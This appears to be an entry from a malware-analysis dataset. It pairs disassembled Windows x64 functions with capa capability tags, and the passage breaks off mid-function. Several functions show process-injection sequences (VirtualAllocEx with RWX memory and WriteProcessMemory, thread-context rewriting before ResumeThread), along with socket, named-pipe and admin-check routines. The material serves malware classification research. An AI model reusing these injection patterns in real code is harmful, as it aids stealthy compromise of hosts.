joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400cce12
Capabilities:
Create directory

Disassembly:
jmp 0x140228030
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14022805e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1400cac57
mov eax, 0xffffffff
jmp 0x140228060
xor eax, eax
add rsp, 0x28
ret

Function at 0x1400ccebc
Capabilities:
Get hostname
Resolve dns

Disassembly:
jmp 0x140104090
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
lea rcx, [0x14030419b]
call fcn.1400cf004
call fcn.1400cebe0
mov edx, 0x100
mov rcx, qword [rbp + 0x140]
call fcn.1400cd6ff
test eax, eax
jne 0x140104111
mov rcx, qword [rbp + 0x140]
call fcn.1400ceb4f
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x140104111
mov rax, qword [rbp + 8]
movsx eax, word [rax + 0x10]
cmp eax, 2
jne 0x140104111
mov rax, qword [rbp + 8]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
cmp qword [rax], 0
je 0x140104111
mov rax, qword [rbp + 0x28]
mov rax, qword [rax]
mov eax, dword [rax]
mov dword [rbp + 0x44], eax
jmp 0x140104118
mov dword [rbp + 0x44], 0
mov eax, dword [rbp + 0x44]
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret

Function at 0x1400cd0e2
Capabilities:
Send data
Send data on socket

Disassembly:
jmp 0x1400fd170
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xf8
lea rbp, [rsp + 0x20]
lea rcx, [0x14030415e]
call fcn.1400cf004
cmp dword [rbp + 0x100], 0
je 0x1400fd1d0
xor r9d, r9d
mov r8d, dword [rbp + 0x100]
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0xf0]
call fcn.1400cf2d9
cmp eax, 0xffffffff
jne 0x1400fd1d0
mov dword [rbp + 0xc0], 0
jmp 0x1400fd1da
mov dword [rbp + 0xc0], 1
mov eax, dword [rbp + 0xc0]
lea rsp, [rbp + 0xd8]
pop rdi
pop rbp
ret
Function at 0x1400cd137
Capabilities:
Allocate or change rwx memory

Disassembly:
jmp 0x140104dd0
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x178
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x198]
lea rcx, [0x14030419b]
call fcn.1400cf004
lea rax, [fcn.1400cd137]
lea rcx, [0x1400cde43]
sub rax, rcx
add rax, 0x1c
mov rcx, rax
call fcn.1400cc8b8
mov qword [rbp + 8], rax
lea rax, [fcn.1400cd137]
lea rcx, [0x1400cde43]
sub rax, rcx
mov rcx, qword [rbp + 8]
add rcx, 0x1c
mov r8, rax
lea rdx, [0x1400cde43]
call fcn.1400cbec2
lea rax, [fcn.1400cd137]
lea rcx, [0x1400cde43]
sub rax, rcx
add rax, 0x1c
mov dword [rbp + 0x24], eax
movsxd rax, dword [rbp + 0x24]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rax
xor edx, edx
mov rcx, qword [rbp + 0x160]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x48], rax
mov qword [rbp + 0x68], 0
cmp qword [rbp + 0x48], 0
je 0x140104ee4
movsxd rax, dword [rbp + 0x24]
lea rcx, [rbp + 0x68]
mov qword [rsp + 0x20], rcx
mov r9, rax
mov r8, qword [rbp + 8]
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x160]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140104ee4
movsxd rax, dword [rbp + 0x24]
cmp qword [rbp + 0x68], rax
je 0x140104ee4
mov qword [rbp + 0x48], 0
mov rcx, qword [rbp + 8]
call fcn.1400cb21f
mov rax, qword [rbp + 0x48]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, reloc.WS2_32.dll_accept
call fcn.1400cdefc
mov rax, rdi
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret

Function at 0x1400cd18c
Capabilities:
Parse pe header

Disassembly:
jmp 0x140125c30
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140125c50
xor al, al
jmp 0x140125cd1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140125c63
xor al, al
jmp 0x140125cd1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140125c8d
xor al, al
jmp 0x140125cd1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140125ca1
xor al, al
jmp 0x140125cd1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140125cb3
xor al, al
jmp 0x140125cd1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140125ccf
xor al, al
jmp 0x140125cd1
mov al, 1
add rsp, 0x38
ret
Function at 0x1400cd29a
Capabilities:
Check for time delay via gettickcount
Write file on windows

Disassembly:
jmp 0x1400e2bc0
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x2d8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x7a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x2f8]
mov rax, qword [0x1402d9238]
xor rax, rbp
mov qword [rbp + 0x298], rax
lea rcx, [0x140304082]
call fcn.1400cf004
call qword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0xea60
mov dword [rbp + 4], eax
mov r8d, dword [rbp + 0x2c8]
mov rdx, qword [rbp + 0x2c0]
lea rcx, [rbp + 0x28]
call fcn.1400cc8a4
mov r8d, 0x80
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x28]
call fcn.1400cf02c
lea rcx, [rbp + 0x28]
call fcn.1400c9b2c
mov qword [rbp + 0x108], rax
lea rcx, [rbp + 0x28]
call fcn.1400cc4ad
mov dword [rbp + 0x124], eax
mov dword [rbp + 0x164], 0
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0x60]
call fcn.1400cc1f1
test eax, eax
jne 0x1400e2cd9
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x35
je 0x1400e2cbc
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [rbp + 4]
jae 0x1400e2cbc
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rbp + 0x164]
inc eax
mov dword [rbp + 0x164], eax
cmp dword [rbp + 0x164], 0xa
jge 0x1400e2cbc
jmp 0x1400e2c6e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r8, [rbp + 0x60]
mov edx, eax
mov ecx, gethostbyname
call fcn.1400ca28e
jmp 0x1400e2de1
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x184]
mov r8d, 4
lea rdx, [rbp + 0x124]
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [rbp + 0x1a4], 0
cmp dword [rbp + 0x124], 0
je 0x1400e2daf
mov eax, dword [rbp + 0x1a4]
mov ecx, dword [rbp + 0x124]
sub ecx, eax
mov eax, ecx
mov dword [rbp + 0x1c4], eax
cmp dword [rbp + 0x1c4], 0x2000
jle 0x1400e2d46
mov dword [rbp + 0x1c4], 0x2000
movsxd rax, dword [rbp + 0x1a4]
mov rcx, qword [rbp + 0x108]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x184]
mov r8d, dword [rbp + 0x1c4]
mov rdx, rax
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400e2d87
jmp 0x1400e2daf
mov eax, dword [rbp + 0x1a4]
mov ecx, dword [rbp + 0x184]
add ecx, eax
mov eax, ecx
mov dword [rbp + 0x1a4], eax
mov eax, dword [rbp + 0x124]
cmp dword [rbp + 0x1a4], eax
jl 0x1400e2d1a
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x30]
lea rdx, [0x140276510]
call fcn.1400cdefc
mov rcx, qword [rbp + 0x298]
xor rcx, rbp
call fcn.1400cbea4
lea rsp, [rbp + 0x2a8]
pop rdi
pop rbp
ret
Function at 0x1400cd321
Capabilities:
Create pipe

Disassembly:
jmp 0x1400e3210
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x258
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x56
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x278]
mov rax, qword [0x1402d9238]
xor rax, rbp
mov qword [rbp + 0x208], rax
lea rcx, [0x140304082]
call fcn.1400cf004
cmp dword [rbp + 0x238], 0x100
jge 0x1400e3338
movsxd rax, dword [rbp + 0x238]
mov r8, rax
mov rdx, qword [rbp + 0x230]
lea rcx, [rbp + 0x10]
call fcn.1400cbec2
mov qword [0x1402dbbc8], 0xffffffffffffffff
mov qword [0x1402dbbd0], 0xffffffffffffffff
mov qword [0x1402dbbd8], 0xffffffffffffffff
movsxd rax, dword [rbp + 0x238]
mov qword [rbp + 0x1f8], rax
cmp qword [rbp + 0x1f8], 0x104
jae 0x1400e32c5
jmp 0x1400e32ca
call fcn.1400cd4cf
mov rax, qword [rbp + 0x1f8]
mov byte [rbp + rax + 0x10], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 2
mov r8d, 4
mov edx, 3
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov qword [0x1402dbbd0], rax
cmp qword [0x1402dbbd0], 0
je 0x1400e3338
xor edx, edx
lea rcx, [0x1400cc3ae]
call fcn.1400cd92f
mov qword [0x1402dbbd8], rax
lea rcx, [rbp - 0x40]
lea rdx, reloc.WS2_32.dll_accept
call fcn.1400cdefc
mov rcx, qword [rbp + 0x208]
xor rcx, rbp
call fcn.1400cbea4
lea rsp, [rbp + 0x218]
pop rdi
pop rbp
ret
Function at 0x1400cd501
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
jmp 0x1400f7810
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x718
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x12a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x738]
mov rax, qword [0x1402d9238]
xor rax, rbp
mov qword [rbp + 0x6d8], rax
lea rcx, [0x1403040eb]
call fcn.1400cf004
mov dword [rbp + 0x468], 0
mov dword [rbp + 0x46c], 0x64
call qword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0x7530
mov dword [rbp + 0x484], eax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [rbp + 0x484]
jae 0x1400f797c
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 0x700]
mov rcx, qword [rcx + 0x1c]
mov qword [rbp + rax + 0x18], rcx
mov dword [rbp + 0x10], 1
mov eax, 8
imul rax, rax, 0
mov ecx, 8
imul rcx, rcx, 0
mov rax, qword [rbp + rax + 0x18]
mov qword [rbp + rcx + 0x248], rax
mov dword [rbp + 0x240], 1
lea rax, [rbp + 0x468]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x240]
lea r8, [rbp + 0x10]
xor edx, edx
xor ecx, ecx
call fcn.1400ce708
lea rdx, [rbp + 0x240]
mov rax, qword [rbp + 0x700]
mov rcx, qword [rax + 0x1c]
call fcn.1400c919a
test eax, eax
je 0x1400f7920
jmp 0x1400f797c
lea rdx, [rbp + 0x10]
mov rax, qword [rbp + 0x700]
mov rcx, qword [rax + 0x1c]
call fcn.1400c919a
test eax, eax
je 0x1400f7977
xor r9d, r9d
mov r8d, dword [rbp + 0x710]
mov rdx, qword [rbp + 0x708]
mov rax, qword [rbp + 0x700]
mov rcx, qword [rax + 0x1c]
call fcn.1400cf2d9
cmp eax, 0xffffffff
jne 0x1400f796a
call fcn.1400cecd0
cmp eax, 0x2733
je 0x1400f796c
jmp 0x1400f797c
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400f7888
lea rcx, [rbp - 0x30]
lea rdx, reloc.WS2_32.dll_closesocket
call fcn.1400cdefc
mov rcx, qword [rbp + 0x6d8]
xor rcx, rbp
call fcn.1400cbea4
lea rsp, [rbp + 0x6e8]
pop rdi
pop rbp
ret
Function at 0x1400cd70e
Capabilities:
Create thread

Disassembly:
jmp 0x140101140
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x30]
lea rcx, [0x14030419b]
call fcn.1400cf004
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, qword [rbp + 0xf8]
mov r8, qword [rbp + 0xf0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x14010119e
mov dword [rbp + 0xc0], 1
jmp 0x1401011a8
mov dword [rbp + 0xc0], 0
mov eax, dword [rbp + 0xc0]
lea rsp, [rbp + 0xd8]
pop rdi
pop rbp
ret

Function at 0x1400cd92f
Capabilities:
Create thread

Disassembly:
jmp 0x1400e2630
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xf8
lea rbp, [rsp + 0x30]
lea rcx, [0x140304082]
call fcn.1400cf004
mov eax, dword [0x1402e2dd0]
inc eax
mov dword [0x1402e2dd0], eax
mov ecx, 0x27
call fcn.1400cf0e0
cwde
cmp eax, 1
jne 0x1400e2689
mov rdx, qword [rbp + 0xe8]
mov rcx, qword [rbp + 0xe0]
call fcn.1400ce866
jmp 0x1400e26b2
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, qword [rbp + 0xe8]
mov r8, qword [rbp + 0xe0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret

Function at 0x1400cdb0f
Capabilities:
Terminate process

Disassembly:
jmp 0x1401ddf10
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov ecx, reloc.WS2_32.dll_socket
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x1401ddf3e
mov ecx, 5
int 0x29
mov r8d, 1
mov edx, 0xc0000417
mov ecx, 2
call fcn.1400ce8bb
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000417
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400cdc5e
Capabilities:
Get thread local storage value

Disassembly:
jmp 0x14021d170
mov dword [rsp + 8], ecx
sub rsp, 0x38
call fcn.14021c180
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x14021d1a5
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov ecx, dword [rsp + 0x40]
mov rax, qword [rsp + 0x28]
call qword [0x140305020]
jmp 0x14021d1af
mov ecx, dword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x38
ret

Function at 0x1400cdccc
Capabilities:
Encode data using xor

Disassembly:
jmp 0x14010fe20
push rbx
push rsi
push r14
push r15
sub rsp, 0x38
mov esi, r9d
mov r15, r8
movsxd r14, edx
mov rbx, rcx
test rcx, rcx
jne 0x14010fe53
lea r8d, [rcx + 0x23]
lea rcx, str.hmac___NULL
lea rdx, str.srcmachmachmac_init.c
call fcn.1400cabda
test r15, r15
jne 0x14010fe6f
lea r8d, [r15 + 0x24]
lea rdx, str.srcmachmachmac_init.c
lea rcx, str.key___NULL
call fcn.1400cabda
mov ecx, r14d
call fcn.1400cd0dd
test eax, eax
jne 0x14010ffcb
mov qword [rsp + 0x68], rbp
mov rbp, r14
shl rbp, 7
mov qword [rsp + 0x78], r12
mov qword [rsp + 0x30], r13
lea r13, [0x1402e62d0]
mov dword [rbx + 0x1a0], r14d
mov r12d, dword [r13 + rbp + 0xc]
test esi, esi
jne 0x14010feb4
lea eax, [rsi + 3]
jmp 0x14010ffbc
mov ecx, dword [r13 + rbp + 0x10]
mov qword [rsp + 0x70], rdi
call fcn.1400cc8b8
mov rdi, rax
test rax, rax
je 0x14010fee9
mov ecx, dword [r13 + rbp + 0x10]
call fcn.1400cc8b8
mov qword [rbx + 0x348], rax
test rax, rax
jne 0x14010fef3
mov rcx, rdi
call fcn.1400cb21f
mov eax, reloc.WS2_32.dll_listen
jmp 0x14010ffb7
mov ecx, dword [r13 + rbp + 0x10]
mov rdx, r15
cmp esi, ecx
jbe 0x14010ff2a
mov dword [rsp + 0x60], ecx
mov r9, rax
lea rcx, [rsp + 0x60]
mov r8d, esi
mov qword [rsp + 0x20], rcx
mov ecx, r14d
call fcn.1400cdf1a
mov esi, eax
test eax, eax
jne 0x14010ffa1
mov esi, r12d
jmp 0x14010ff35
mov r8, rsi
mov rcx, rax
call fcn.1400cbec2
mov eax, dword [r13 + rbp + 0x10]
cmp esi, eax
jae 0x14010ff50
sub eax, esi
mov ecx, esi
add rcx, qword [rbx + 0x348]
mov edx, eax
call fcn.1400c98ed
xor r9d, r9d
cmp dword [r13 + rbp + 0x10], r9d
jbe 0x14010ff7d
nop word [rax + rax]
mov rax, qword [rbx + 0x348]
movzx ecx, byte [r9 + rax]
xor cl, 0x36
mov byte [r9 + rdi], cl
inc r9d
cmp r9d, dword [r13 + rbp + 0x10]
jb 0x14010ff60
mov rcx, rbx
call qword [r13 + rbp + 0x58]
mov esi, eax
test eax, eax
jne 0x14010ffa1
mov r8d, dword [r13 + rbp + 0x10]
mov rdx, rdi
mov rcx, rbx
call qword [r13 + rbp + 0x60]
mov esi, eax
test eax, eax
je 0x14010ffad
mov rcx, qword [rbx + 0x348]
call fcn.1400cb21f
mov rcx, rdi
call fcn.1400cb21f
mov eax, esi
mov rdi, qword [rsp + 0x70]
mov r12, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x68]
mov r13, qword [rsp + 0x30]
add rsp, 0x38
pop r15
pop r14
pop rsi
pop rbx
ret
Function at 0x1400cdce5
Capabilities:
Create pipe

Disassembly:
jmp 0x1400f93c0
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x238
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x4e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x258]
lea rcx, [0x140304128]
call fcn.1400cf004
mov ecx, dword [rbp + 0x250]
call fcn.1400ceb18
lea rax, [rbp + 8]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rbp + 0x78]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov qword [rbp + 0x80], 0
mov dword [rbp + 0x78], 0x18
mov dword [rbp + 0x88], 1
mov r9d, 0x100000
lea r8, [rbp + 0x78]
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea rax, [rbp + 0xb0]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rbp + 0xb0], WSAGetLastError
lea rcx, [rbp + 0xb0]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov qword [rbp + 0x100], 0
xor eax, eax
mov word [rbp + 0xf0], ax
mov rax, qword [rbp + 0x58]
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x58]
mov qword [rbp + 0x110], rax
mov dword [rbp + 0xec], 0x101
lea r9, [rbp + 8]
lea r8, [rbp + 0xb0]
mov edx, dword [rbp + 0x250]
mov ecx, dword [rbp + 0x248]
call fcn.1400cccd2
test eax, eax
je 0x1400f957e
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rbp + 0x238]
mov dword [rsp + 0x38], eax
mov rax, qword [rbp + 0x230]
mov qword [rsp + 0x30], rax
mov eax, dword [rbp + 0x218]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x228]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x220]
mov r8, qword [rbp + 8]
lea rdx, [rbp + 8]
mov ecx, dword [rbp + 0x18]
call fcn.1400cc98f
cmp dword [rbp + 0x210], 0
je 0x1400f954b
mov edx, dword [rbp + 0x210]
mov rcx, qword [rbp + 0x38]
call fcn.1400cdc04
mov rax, qword [rbp + 0x240]
mov qword [rsp + 0x30], rax
mov rax, qword [rbp + 0x58]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x1c]
mov r8d, dword [rbp + 0x18]
mov rdx, qword [rbp + 0x10]
mov rcx, qword [rbp + 8]
call fcn.1400cbf5d
mov ecx, dword [rbp + 0x250]
call fcn.1400ccc4b
lea rcx, [rbp - 0x40]
lea rdx, [0x14027a640]
call fcn.1400cdefc
lea rsp, [rbp + 0x1f8]
pop rdi
pop rbp
ret
Function at 0x1400cdcea
Capabilities:
Get token membership

Disassembly:
jmp 0x140104520
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1402d9238]
xor rax, rbp
mov qword [rbp + 0x118], rax
lea rcx, [0x14030419b]
call fcn.1400cf004
mov eax, 1
imul rax, rax, 0
mov byte [rbp + rax + 4], 0
mov eax, 1
imul rax, rax, 1
mov byte [rbp + rax + 4], 0
mov eax, 1
imul rax, rax, 2
mov byte [rbp + rax + 4], 0
mov eax, 1
imul rax, rax, 3
mov byte [rbp + rax + 4], 0
mov eax, 1
imul rax, rax, 4
mov byte [rbp + rax + 4], 0
mov eax, 1
imul rax, rax, 5
mov byte [rbp + rax + 4], 5
lea rax, [rbp + 0x28]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rbp + 4]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jne 0x140104610
mov eax, dword [rbp + 0x44]
jmp 0x140104638
lea r8, [rbp + 0x44]
mov rdx, qword [rbp + 0x28]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x14010462b
mov dword [rbp + 0x44], 0
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [rbp + 0x44]
mov rdi, rax
lea rcx, [rbp - 0x60]
lea rdx, reloc.WS2_32.dll_closesocket
call fcn.1400cdefc
mov rax, rdi
mov rcx, qword [rbp + 0x118]
xor rcx, rbp
call fcn.1400cbea4
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x1400cde75
Capabilities:
Receive data
Receive data on socket

Disassembly:
jmp 0x1400e38b0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x140304082]
call fcn.1400cf004
mov dword [rbp + 4], 0
xor eax, eax
cmp eax, 1
je 0x1400e3978
movsxd rax, dword [rbp + 4]
mov rcx, qword [rbp + 0x120]
add rcx, rax
mov rax, rcx
xor r9d, r9d
mov r8d, 1
mov rdx, rax
mov rcx, qword [rbp + 0x128]
call fcn.1400cadb0
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jg 0x1400e391f
mov eax, 0xffffffff
jmp 0x1400e398e
mov eax, dword [rbp + 0x24]
mov ecx, dword [rbp + 4]
add ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 2
jl 0x1400e3963
mov eax, dword [rbp + 4]
dec eax
cdqe
mov rcx, qword [rbp + 0x120]
movsx eax, byte [rcx + rax]
cmp eax, 0xa
jne 0x1400e3963
mov eax, dword [rbp + 4]
sub eax, 2
cdqe
mov rcx, qword [rbp + 0x120]
movsx eax, byte [rcx + rax]
cmp eax, 0xd
jne 0x1400e3963
jmp 0x1400e3978
cmp dword [rbp + 4], 0x800
jl 0x1400e3973
mov eax, 0xffffffff
jmp 0x1400e398e
jmp 0x1400e38db
mov eax, dword [rbp + 4]
sub eax, 2
cdqe
mov rcx, qword [rbp + 0x120]
mov byte [rcx + rax], 0
mov eax, dword [rbp + 4]
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x1400ce424
Capabilities:
Set thread local storage value

Disassembly:
jmp 0x14021d1d0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x38
call fcn.14021c1c0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x14021d20f
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rdx, qword [rsp + 0x48]
mov ecx, dword [rsp + 0x40]
mov rax, qword [rsp + 0x28]
call qword [0x140305020]
jmp 0x14021d21e
mov rdx, qword [rsp + 0x48]
mov ecx, dword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
add rsp, 0x38
ret

Function at 0x1400ce4ba
Capabilities:
Resume thread

Disassembly:
jmp 0x1400fb700
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x498
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xbe
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x4b8]
mov rax, qword [0x1402d9238]
xor rax, rbp
mov qword [rbp + 0x468], rax
lea rcx, [0x140304143]
call fcn.1400cf004
cmp qword [rbp + 0x4a0], 0
je 0x1400fb760
xor eax, eax
jmp 0x1400fb7d3
mov dword [rbp + 0x10], 0x100002
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x490]
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
jne 0x1400fb780
xor eax, eax
jmp 0x1400fb7d3
mov eax, dword [rbp + 0x498]
mov dword [rbp + 0xc0], eax
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x490]
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
test eax, eax
jne 0x1400fb7a5
xor eax, eax
jmp 0x1400fb7d3
mov rcx, qword [rbp + 0x490]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x1400fb7c3
mov dword [rbp + 0x464], 1
jmp 0x1400fb7cd
mov dword [rbp + 0x464], 0
mov eax, dword [rbp + 0x464]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, reloc.WS2_32.dll_accept
call fcn.1400cdefc
mov rax, rdi
mov rcx, qword [rbp + 0x468]
xor rcx, rbp
call fcn.1400cbea4
lea rsp, [rbp + 0x478]
pop rdi
pop rbp
ret

Function at 0x1400ce843
Capabilities:
Get file attributes

Disassembly:
jmp 0x1400dd510
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xf8
lea rbp, [rsp + 0x20]
lea rcx, [0x140304031]
call fcn.1400cf004
mov rcx, qword [rbp + 0xf0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
and eax, 0x10
cmp eax, 0x10
jne 0x1400dd550
mov dword [rbp + 0xc0], 1
jmp 0x1400dd55a
mov dword [rbp + 0xc0], 0
mov eax, dword [rbp + 0xc0]
lea rsp, [rbp + 0xd8]
pop rdi
pop rbp
ret
Function at 0x1400ce866
Capabilities:
Create thread

Disassembly:
jmp 0x1400e37c0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
